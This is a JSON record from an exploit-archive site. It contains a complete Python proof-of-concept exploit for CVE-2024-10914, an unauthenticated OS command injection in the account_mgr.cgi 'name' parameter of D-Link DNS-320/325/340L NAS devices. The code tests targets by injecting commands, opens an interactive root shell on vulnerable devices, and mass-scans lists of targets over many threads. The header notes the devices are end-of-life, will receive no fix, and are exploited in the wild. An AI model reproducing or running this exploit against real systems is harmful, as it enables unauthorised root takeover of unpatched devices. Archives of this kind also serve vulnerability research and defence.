{"exploit":{"id":"EDB-52643","name":"D-Link DNS_340L - OS Command Injection","description":"D-Link DNS_340L - OS Command Injection","cves":["CVE-2024-10914"],"author":"Jared Brits","published":"2026-08-17","platform":"hardware","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52643","path":"exploits/hardware/remote/52643.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52643.py","vulnerabilities":[{"id":"CVE-2024-10914","state":"PUBLISHED","title":"D-Link DNS-320/DNS-320LW/DNS-325/DNS-340L account_mgr.cgi cgi_user_add os command injection","titleSource":"CVE Program","description":"A vulnerability was found in D-Link DNS-320, DNS-320LW, DNS-325 and DNS-340L up to 20241028. It has been declared as critical. Affected by this vulnerability is the function cgi_user_add of the file /cgi-bin/account_mgr.cgi?cmd=cgi_user_add. The manipulation of the argument name leads to os command injection. The attack can be launched remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2024-10914","cvss":{"version":"4.0","baseScore":9.2,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulDB","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2024-10914"},"updatedAt":"2026-11-03T23:51:42.497Z","retrievedAt":"2026-11-25T16:13:47.152Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52643.png?v=2","url":"https://exploitbin.com/exploits/EDB-52643","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52643/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52643/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: D-Link DNS_340L - OS Command Injection\n# Date: 2026-07-16\n# Exploit Author: Jared Brits (K3ysTr0K3R)\n# Vendor Homepage: https://www.dlink.com/\n# Version: DNS-320 (v1.00), DNS-320LW (v1.01.0914.2012), DNS-325 (v1.01, v1.02), DNS-340L (v1.08), and possibly others\n# Tested on: D-Link DNS-320\n# CVE: CVE-2024-10914\n# CVSS Score: 9.8 (Critical)\n# Description: The /cgi-bin/account_mgr.cgi script on several D‑Link NAS devices is vulnerable to\n# unauthenticated command injection. The cgi_user_add command accepts a 'name' parameter\n# that is directly concatenated into a system() call without any sanitisation.\n# By injecting a semicolon‑terminated command, an attacker can execute arbitrary\n# operating system commands with root privileges.\n#\n# Confirmed affected models include DNS‑320, DNS‑320LW, DNS‑325, and DNS‑340L.\n# D‑Link has officially declared these products End of Life and will not release\n# a fix for this issue. There is evidence that this vulnerability is\n# already being exploited in the wild. The CVSSv3 base score is 9.8 (Critical).\n\nimport re\nimport requests\nfrom rich import print\nimport argparse\nfrom alive_progress import alive_bar\nfrom prompt_toolkit import PromptSession\nfrom prompt_toolkit.formatted_text import HTML\nfrom prompt_toolkit.history import InMemoryHistory\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\n\ndef ascii_art():\n    print(\"[bold bright_magenta]   _______    ________    ___   ____ ___  __ __       _______  ____ _____ __[/bold bright_magenta]\")\n    print(\"[bold bright_magenta]  / ____/ |  / / ____/   |__ \\ / __ \\__ \\/ // /      <  / __ \\/ __ <  / // /[/bold bright_magenta]\")\n    print(\"[bold bright_magenta] / /    | | / / __/________/ // / / /_/ / // /_______/ / / / / /_/ / / // /_[/bold bright_magenta]\")\n    print(\"[bold bright_magenta]/ /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/ / /_/ /\\__, / /__  __/[/bold bright_magenta]\")\n    print(\"[bold bright_magenta]\\____/  |___/_____/    /____/\\____/____/ /_/       /_/\\____//____/_/  /_/[/bold bright_magenta]\")\n    print(\"\")\n    print(\"Coded By: Jared Brits (K3ysTr0K3R)\")\n    print(\"\")\n\nrequests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)\n\npayload = [\"id\"]\nendpoint = \"/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=';{};'\"\nheaders = {'User-Agent': 'Mozilla/5.0 (Linux; Android 10; SM-G960U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.181 Mobile Safari/537.36'}\n\ndef check_vulnerability(target):\n    for command in payload:\n        url = f\"{target}{endpoint.format(command)}\"\n        try:\n            response = requests.get(url, headers=headers, timeout=10, verify=False)\n            response.raise_for_status()\n            matcher = re.search(r\"uid=\\d+\\((\\w+)\\).*gid=\\d+\\((\\w+)\\)\", response.text)\n            if matcher:\n                print(f\"[green][+] [/green]The target appears to be vulnerable\")\n                print(f\"[green][+] [/green]Response: {matcher[0]}\")\n                return True\n        except requests.RequestException:\n            pass\n\ndef exploit(target):\n    session = PromptSession(\n        HTML(\"<ansicyan>Interactive Shell:</ansicyan> \"),\n        history=InMemoryHistory(),\n    )\n\n    print(\"[blue][*] [/blue]Interactive session shell started. Type 'exit' to quit\")\n    print(\"\")\n\n    while True:\n        try:\n            command = session.prompt(HTML(\"<ansicyan>~$</ansicyan> \")).strip()\n            if command.lower() in [\"exit\", \"quit\"]:\n                print(\"[blue][*] [/blue]Exiting interactive session\")\n                break\n\n            url = f\"{target}{endpoint.format(command)}\"\n            response = requests.get(url, headers=headers, timeout=10, verify=False)\n\n            if response.status_code == 200:\n                output = re.sub(r\"Content-type:.*\\n?\", \"\", response.text).strip()\n                print(output)\n            else:\n                print(f\"[yellow][!] [/yellow]Command failed with status code: {response.status_code}\")\n\n        except KeyboardInterrupt:\n            print(\"\\n[blue][*] [/blue]Exiting interactive session\")\n            break\n        except requests.RequestException:\n            print(f\"[yellow][!] [/yellow]An error occurred\")\n\ndef vuln_spray(target):\n    for command in payload:\n        url = f\"{target}{endpoint.format(command)}\"\n        try:\n            response = requests.get(url, headers=headers, timeout=10, verify=False)\n            response.raise_for_status()\n            matcher = re.search(r\"uid=\\d+\\((\\w+)\\).*gid=\\d+\\((\\w+)\\)\", response.text)\n            if matcher:\n                return True\n        except requests.RequestException:\n            pass\n\ndef scan_file(file_path, threads):\n    with open(file_path, 'r') as file:\n        targets = [line.strip() for line in file if line.strip()]\n\n    with alive_bar(len(targets), title=\"Scanning Targets\", enrich_print=False) as bar:\n        with ThreadPoolExecutor(max_workers=threads) as executor:\n            futures = {executor.submit(vuln_spray, target): target for target in targets}\n            for future in as_completed(futures):\n                bar()\n                target = futures[future]\n                try:\n                    if future.result():\n                        print(f\"[green][+] [/green]Target [bright_red]{target}[/bright_red] is vulnerable\")\n                except Exception:\n                    pass\n\nif __name__ == \"__main__\":\n    ascii_art()\n    parser = argparse.ArgumentParser(description=\"A PoC exploit for CVE-2024-10914 - D-Link Remote Code Execution (RCE)\")\n    parser.add_argument(\"-u\", \"--url\", help=\"Single target URL to test\")\n    parser.add_argument(\"-f\", \"--file\", help=\"File containing list of target URLs to scan\")\n    parser.add_argument(\"-t\", \"--threads\", type=int, default=5, help=\"Number of threads to use for scanning (default: 5)\")\n\n    args = parser.parse_args()\n\n    if args.url:\n        print(\"[blue][*] [/blue]Checking if the target is vulnerable\")\n        if check_vulnerability(args.url):\n            print(\"[blue][*] [/blue]Starting interactive session shell\")\n            exploit(args.url)\n        else:\n            print(\"[red][-] [/red]Target is not vulnerable\")\n    elif args.file:\n        print(f\"[blue][*] [/blue]Scanning targets from file: [bright_red]{args.file}[bright_red]\")\n        print(f\"[blue][*] [/blue]Using {args.threads} threads for scanning\")\n        scan_file(args.file, args.threads)\n    else:\n        print(\"[red][-] [/red]Please provide either a URL with -u or a file with -f\")","sha256":"de375e58a5996eb85bbe061067d7bdd729ad7bbf5a5df05e5976bb054dc4ea73","bytes":6519,"fetchedAt":"2026-11-25T10:17:07.706Z","encoding":"utf-8 (display only; download retains original bytes)"}